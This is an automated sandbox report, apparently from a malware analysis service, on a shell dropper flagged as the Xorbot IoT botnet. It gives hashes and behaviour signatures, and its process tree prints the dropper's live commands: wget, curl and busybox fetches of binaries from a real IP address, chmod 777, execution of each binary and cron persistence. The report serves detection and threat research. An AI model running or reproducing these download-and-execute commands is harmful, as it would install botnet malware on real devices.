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Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240611-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    28/02/2025, 11:18

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    8665f2af69fbd363509207dc0486225c

  • SHA1

    7d3257b493a353a934f65a5ec649dc6a2d5d229e

  • SHA256

    1955d746164824980d26e30bf407060921504888edd33ed9ca28b3459cebe74f

  • SHA512

    3e87c838ab67e90e549806a34068ad98ec46c2ef0f4fa83a534b4213a9fc55213a113c65e4c51fdc8ba37b48c9842dc14c4afca93db68fac4ebc8ff0fa719986

  • SSDEEP

    96:qTHZI3vuRUqEro4BGjmMqw4qwqPKfsV9w4qwqPKnbsVLuQq/THJ+3//ro4BGjm5z:iI3v6UqEgzx+PLQBQ

Malware Config

Signatures

  • Detects Xorbot 6 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (1685) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 8 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 8 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 12 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:710
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:714
      • /usr/bin/wget
        wget http://37.44.238.88/bins/6me8L28qp8ZMXxRxrvwNjMhj066PYl9ckx
        2⤵
        • Writes file to tmp directory
        PID:717
      • /usr/bin/curl
        curl -O http://37.44.238.88/bins/6me8L28qp8ZMXxRxrvwNjMhj066PYl9ckx
        2⤵
        • Writes file to tmp directory
        PID:734
      • /bin/busybox
        /bin/busybox wget http://37.44.238.88/bins/6me8L28qp8ZMXxRxrvwNjMhj066PYl9ckx
        2⤵
        • Writes file to tmp directory
        PID:741
      • /bin/chmod
        chmod 777 6me8L28qp8ZMXxRxrvwNjMhj066PYl9ckx
        2⤵
        • File and Directory Permissions Modification
        PID:742
      • /tmp/6me8L28qp8ZMXxRxrvwNjMhj066PYl9ckx
        ./6me8L28qp8ZMXxRxrvwNjMhj066PYl9ckx
        2⤵
          PID:743
        • /bin/rm
          rm 6me8L28qp8ZMXxRxrvwNjMhj066PYl9ckx
          2⤵
            PID:745
          • /usr/bin/wget
            wget http://37.44.238.88/bins/tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
            2⤵
            • Writes file to tmp directory
            PID:746
          • /usr/bin/curl
            curl -O http://37.44.238.88/bins/tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:747
          • /bin/busybox
            /bin/busybox wget http://37.44.238.88/bins/tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
            2⤵
            • Writes file to tmp directory
            PID:748
          • /bin/chmod
            chmod 777 tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
            2⤵
            • File and Directory Permissions Modification
            PID:749
          • /tmp/tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
            ./tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
            2⤵
            • Renames itself
            • Reads runtime system information
            PID:750
            • /bin/sh
              sh -c "crontab -l"
              3⤵
                PID:752
                • /usr/bin/crontab
                  crontab -l
                  4⤵
                    PID:753
                • /bin/sh
                  sh -c "crontab -"
                  3⤵
                    PID:754
                    • /usr/bin/crontab
                      crontab -
                      4⤵
                      • Creates/modifies Cron job
                      PID:755
                • /bin/rm
                  rm tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
                  2⤵
                    PID:758
                  • /usr/bin/wget
                    wget http://37.44.238.88/bins/j7YkHCn9eenbdEJjjSe4RAXf34IgXaWdQh
                    2⤵
                      PID:763
                    • /usr/bin/curl
                      curl -O http://37.44.238.88/bins/j7YkHCn9eenbdEJjjSe4RAXf34IgXaWdQh
                      2⤵
                        PID:765
                      • /bin/busybox
                        /bin/busybox wget http://37.44.238.88/bins/j7YkHCn9eenbdEJjjSe4RAXf34IgXaWdQh
                        2⤵
                        • Writes file to tmp directory
                        PID:768
                      • /bin/chmod
                        chmod 777 j7YkHCn9eenbdEJjjSe4RAXf34IgXaWdQh
                        2⤵
                        • File and Directory Permissions Modification
                        PID:776
                      • /tmp/j7YkHCn9eenbdEJjjSe4RAXf34IgXaWdQh
                        ./j7YkHCn9eenbdEJjjSe4RAXf34IgXaWdQh
                        2⤵
                          PID:777
                        • /bin/rm
                          rm j7YkHCn9eenbdEJjjSe4RAXf34IgXaWdQh
                          2⤵
                            PID:780
                          • /usr/bin/wget
                            wget http://37.44.238.88/bins/jt9jGRCBvs5W4HfojuNQa26eGDclv8ZsGN
                            2⤵
                              PID:781
                            • /usr/bin/curl
                              curl -O http://37.44.238.88/bins/jt9jGRCBvs5W4HfojuNQa26eGDclv8ZsGN
                              2⤵
                                PID:784
                              • /bin/busybox
                                /bin/busybox wget http://37.44.238.88/bins/jt9jGRCBvs5W4HfojuNQa26eGDclv8ZsGN
                                2⤵
                                • Writes file to tmp directory
                                PID:787
                              • /bin/chmod
                                chmod 777 jt9jGRCBvs5W4HfojuNQa26eGDclv8ZsGN
                                2⤵
                                • File and Directory Permissions Modification
                                PID:792
                              • /tmp/jt9jGRCBvs5W4HfojuNQa26eGDclv8ZsGN
                                ./jt9jGRCBvs5W4HfojuNQa26eGDclv8ZsGN
                                2⤵
                                  PID:794
                                • /bin/rm
                                  rm jt9jGRCBvs5W4HfojuNQa26eGDclv8ZsGN
                                  2⤵
                                    PID:796
                                  • /usr/bin/wget
                                    wget http://37.44.238.88/bins/Lh2XFnF0IQ4hRp0Ecm8nGBqLKD7wLDvUo7
                                    2⤵
                                      PID:797
                                    • /usr/bin/curl
                                      curl -O http://37.44.238.88/bins/Lh2XFnF0IQ4hRp0Ecm8nGBqLKD7wLDvUo7
                                      2⤵
                                        PID:800
                                      • /bin/busybox
                                        /bin/busybox wget http://37.44.238.88/bins/Lh2XFnF0IQ4hRp0Ecm8nGBqLKD7wLDvUo7
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:803
                                      • /bin/chmod
                                        chmod 777 Lh2XFnF0IQ4hRp0Ecm8nGBqLKD7wLDvUo7
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:808
                                      • /tmp/Lh2XFnF0IQ4hRp0Ecm8nGBqLKD7wLDvUo7
                                        ./Lh2XFnF0IQ4hRp0Ecm8nGBqLKD7wLDvUo7
                                        2⤵
                                          PID:809
                                        • /bin/rm
                                          rm Lh2XFnF0IQ4hRp0Ecm8nGBqLKD7wLDvUo7
                                          2⤵
                                            PID:812
                                          • /usr/bin/wget
                                            wget http://37.44.238.88/bins/LFfZ18XBjDKqEI2lYk1LdcD8DGvwl0L9BQ
                                            2⤵
                                              PID:814
                                            • /usr/bin/curl
                                              curl -O http://37.44.238.88/bins/LFfZ18XBjDKqEI2lYk1LdcD8DGvwl0L9BQ
                                              2⤵
                                                PID:819
                                              • /bin/busybox
                                                /bin/busybox wget http://37.44.238.88/bins/LFfZ18XBjDKqEI2lYk1LdcD8DGvwl0L9BQ
                                                2⤵
                                                • Writes file to tmp directory
                                                PID:821
                                              • /bin/chmod
                                                chmod 777 LFfZ18XBjDKqEI2lYk1LdcD8DGvwl0L9BQ
                                                2⤵
                                                • File and Directory Permissions Modification
                                                PID:827
                                              • /tmp/LFfZ18XBjDKqEI2lYk1LdcD8DGvwl0L9BQ
                                                ./LFfZ18XBjDKqEI2lYk1LdcD8DGvwl0L9BQ
                                                2⤵
                                                  PID:828
                                                • /bin/rm
                                                  rm LFfZ18XBjDKqEI2lYk1LdcD8DGvwl0L9BQ
                                                  2⤵
                                                    PID:830
                                                  • /usr/bin/wget
                                                    wget http://37.44.238.88/bins/KFtaZZ2LQo7eP6nNuSRtJBIP5qdczlxYp6
                                                    2⤵
                                                    • System Network Configuration Discovery
                                                    PID:831
                                                  • /usr/bin/curl
                                                    curl -O http://37.44.238.88/bins/KFtaZZ2LQo7eP6nNuSRtJBIP5qdczlxYp6
                                                    2⤵
                                                    • System Network Configuration Discovery
                                                    PID:833
                                                  • /bin/busybox
                                                    /bin/busybox wget http://37.44.238.88/bins/KFtaZZ2LQo7eP6nNuSRtJBIP5qdczlxYp6
                                                    2⤵
                                                    • System Network Configuration Discovery
                                                    • Writes file to tmp directory
                                                    PID:834
                                                  • /bin/chmod
                                                    chmod 777 KFtaZZ2LQo7eP6nNuSRtJBIP5qdczlxYp6
                                                    2⤵
                                                    • File and Directory Permissions Modification
                                                    PID:835
                                                  • /tmp/KFtaZZ2LQo7eP6nNuSRtJBIP5qdczlxYp6
                                                    ./KFtaZZ2LQo7eP6nNuSRtJBIP5qdczlxYp6
                                                    2⤵
                                                    • System Network Configuration Discovery
                                                    PID:836
                                                  • /bin/rm
                                                    rm KFtaZZ2LQo7eP6nNuSRtJBIP5qdczlxYp6
                                                    2⤵
                                                    • System Network Configuration Discovery
                                                    PID:838
                                                  • /usr/bin/wget
                                                    wget http://37.44.238.88/bins/tS6HxSUNB2E13UFDWjuAkarHWA0v1unkUB
                                                    2⤵
                                                      PID:839
                                                    • /usr/bin/curl
                                                      curl -O http://37.44.238.88/bins/tS6HxSUNB2E13UFDWjuAkarHWA0v1unkUB
                                                      2⤵
                                                        PID:840
                                                      • /bin/busybox
                                                        /bin/busybox wget http://37.44.238.88/bins/tS6HxSUNB2E13UFDWjuAkarHWA0v1unkUB
                                                        2⤵
                                                        • Writes file to tmp directory
                                                        PID:841
                                                      • /bin/chmod
                                                        chmod 777 tS6HxSUNB2E13UFDWjuAkarHWA0v1unkUB
                                                        2⤵
                                                        • File and Directory Permissions Modification
                                                        PID:872
                                                      • /tmp/tS6HxSUNB2E13UFDWjuAkarHWA0v1unkUB
                                                        ./tS6HxSUNB2E13UFDWjuAkarHWA0v1unkUB
                                                        2⤵
                                                          PID:873
                                                        • /bin/rm
                                                          rm tS6HxSUNB2E13UFDWjuAkarHWA0v1unkUB
                                                          2⤵
                                                            PID:875
                                                          • /usr/bin/wget
                                                            wget http://37.44.238.88/bins/ZFcNzzwj7WcI2OPQAUGbG9OHgI59Cr72fK
                                                            2⤵
                                                              PID:876

                                                          Network

                                                          MITRE ATT&CK Enterprise v15

                                                          Replay Monitor

                                                          Loading Replay Monitor...

                                                          Downloads

                                                          • /tmp/6me8L28qp8ZMXxRxrvwNjMhj066PYl9ckx

                                                            Filesize

                                                            119KB

                                                            MD5

                                                            1b166b95f9cb4b079ef1b9ec8363ddf3

                                                            SHA1

                                                            0d8eb08add467b3b5474f9b25909297fe7c2839c

                                                            SHA256

                                                            94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                                            SHA512

                                                            983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                                                          • /tmp/KFtaZZ2LQo7eP6nNuSRtJBIP5qdczlxYp6

                                                            Filesize

                                                            107KB

                                                            MD5

                                                            eb9c3a0de91fcf16ba17cb24608df68c

                                                            SHA1

                                                            09d95a7d70d5e115d103be51edff7c498d272fac

                                                            SHA256

                                                            dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                                            SHA512

                                                            9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                                                          • /tmp/LFfZ18XBjDKqEI2lYk1LdcD8DGvwl0L9BQ

                                                            Filesize

                                                            111KB

                                                            MD5

                                                            701e7a55a4f3650f5feee92a9860e5fc

                                                            SHA1

                                                            6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                                            SHA256

                                                            ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                                            SHA512

                                                            7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                                                          • /tmp/Lh2XFnF0IQ4hRp0Ecm8nGBqLKD7wLDvUo7

                                                            Filesize

                                                            141KB

                                                            MD5

                                                            3ca8decdb1e52c423c521bfff02ac200

                                                            SHA1

                                                            8621ecd6807109b8541912ad9e134f6fb49bfd48

                                                            SHA256

                                                            dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                                            SHA512

                                                            b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                                                          • /tmp/j7YkHCn9eenbdEJjjSe4RAXf34IgXaWdQh

                                                            Filesize

                                                            122KB

                                                            MD5

                                                            cd3d4b9c643e5b473fb4d88ed05f0716

                                                            SHA1

                                                            64ee7a97418583d759eaea8000890cc3bae1b5f4

                                                            SHA256

                                                            0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                                            SHA512

                                                            164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                                                          • /tmp/jt9jGRCBvs5W4HfojuNQa26eGDclv8ZsGN

                                                            Filesize

                                                            99KB

                                                            MD5

                                                            9438d9bc392bcf300a5583b6df5bc8f6

                                                            SHA1

                                                            375a6ae34b516f6f3eeea8030c4084f585017efa

                                                            SHA256

                                                            68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                                            SHA512

                                                            1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                                                          • /tmp/tS6HxSUNB2E13UFDWjuAkarHWA0v1unkUB

                                                            Filesize

                                                            177KB

                                                            MD5

                                                            786d75a158fe731feca3880f436082c0

                                                            SHA1

                                                            79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                                            SHA256

                                                            5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                                            SHA512

                                                            7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                                                          • /tmp/tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq

                                                            Filesize

                                                            151KB

                                                            MD5

                                                            6c583043d91c55aa470c08c87058e917

                                                            SHA1

                                                            abf65a5b9bba69980278ad09356e53de8bb89439

                                                            SHA256

                                                            2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                                            SHA512

                                                            82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                                          • /var/spool/cron/crontabs/tmp.aaT2Et

                                                            Filesize

                                                            210B

                                                            MD5

                                                            708de4c17085090a492cff7453276a5f

                                                            SHA1

                                                            071e6ec477c3fb96ce3c483540ffdee2fe1b6786

                                                            SHA256

                                                            05fce59abf137140e91977b70b1f6fd7f57685996f8bd554243c5876400bf33a

                                                            SHA512

                                                            a229f1d88adccdc9f6bc9aa350c3a7cd041a22caf4f1b813b74e4e1892f71940834fbe985f36ffaaed72843c4500cb6c4100c3f9c6c72ddf0a980af108befd45